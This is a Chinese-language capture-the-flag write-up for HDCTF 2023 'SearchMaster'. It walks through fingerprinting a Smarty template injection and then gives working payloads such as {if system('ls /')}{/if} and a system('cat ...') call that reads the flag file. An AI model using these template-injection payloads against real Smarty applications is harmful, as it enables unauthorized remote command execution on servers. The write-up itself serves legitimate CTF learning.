[HDCTF 2023]SearchMaster

[HDCTF 2023]SearchMaster wp

信息搜集

题目页面:

在这里插入图片描述

这里提到了模板,猜测是模板注入,提示 POST 发包,参数名为 data 。

测试 POST 传参 data=1 :

在这里插入图片描述

有返回。

模板注入

检查模板类型

这里用橙子科技的一张图,红色箭头代表失败后执行的下一步,绿色箭头代表成功后执行的下一步。

在这里插入图片描述

首先传入 ${7*7} ,若返回 49 ,则执行成功:

在这里插入图片描述

执行成功。

那么接下来传入 a{*123*}b ,若 {**} 内的内容被当成注释,仅返回 ab ,则执行成功:

在这里插入图片描述

执行成功,判定为 Smarty 模板。

Smarty 模板注入

Smarty 是 PHP 的一个模板。

推荐博客:Smarty模板注入&CVE-2017-1000480

查看版本号:

{$smarty.version}

返回结果,版本 4.1.0 :

在这里插入图片描述

直接上 payload ,个人认为最好用的是 if 语句,if 代码块内可以执行任意 PHP 命令,不要加分号:

{if system('ls /')}{/if}

返回结果:

在这里插入图片描述

查看 flag 文件:

{if system('cat /flag_13_searchmaster')}{/if}

这条命令用 burp 发包成功了,用 hackerbar 发包却报错,有大佬知道原因吗?

用 hackerbar 发包:

在这里插入图片描述

用 burp 发包:

在这里插入图片描述

拿到 flag 。

相关推荐

  1. [HDCTF 2023]Normal_Rsa(revenge)(素数分解)

    2024-01-19 09:30:03       13 阅读
  2. <span style='color:red;'>HNCTF</span>-PWN

    HNCTF-PWN

    2024-01-19 09:30:03      9 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-01-19 09:30:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-19 09:30:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-19 09:30:03       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-19 09:30:03       20 阅读

热门阅读

  1. VLAN配置

    2024-01-19 09:30:03       31 阅读
  2. 【Golang】实现简单队列(Queue)数据结构

    2024-01-19 09:30:03       34 阅读
  3. C++特殊类设计(单例模式)

    2024-01-19 09:30:03       29 阅读